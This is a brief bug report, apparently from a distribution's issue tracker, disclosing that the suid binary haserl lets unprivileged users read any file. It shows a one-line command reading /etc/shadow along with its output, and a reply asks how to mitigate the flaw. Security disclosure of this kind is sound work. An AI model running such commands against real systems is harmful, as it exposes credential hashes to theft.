haserl information disclosure

This binary is suid, and allows you to read any file on the filesystem as a normal user:

~$ haserl /etc/shadow
root:!::0:::::
bin:!::0:::::
[..]

haserl is required by acf-core, so any system that uses acf has it installed.

@ttrask01 In what matter is this still being used? Can we somehow mitigate this?

See:

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information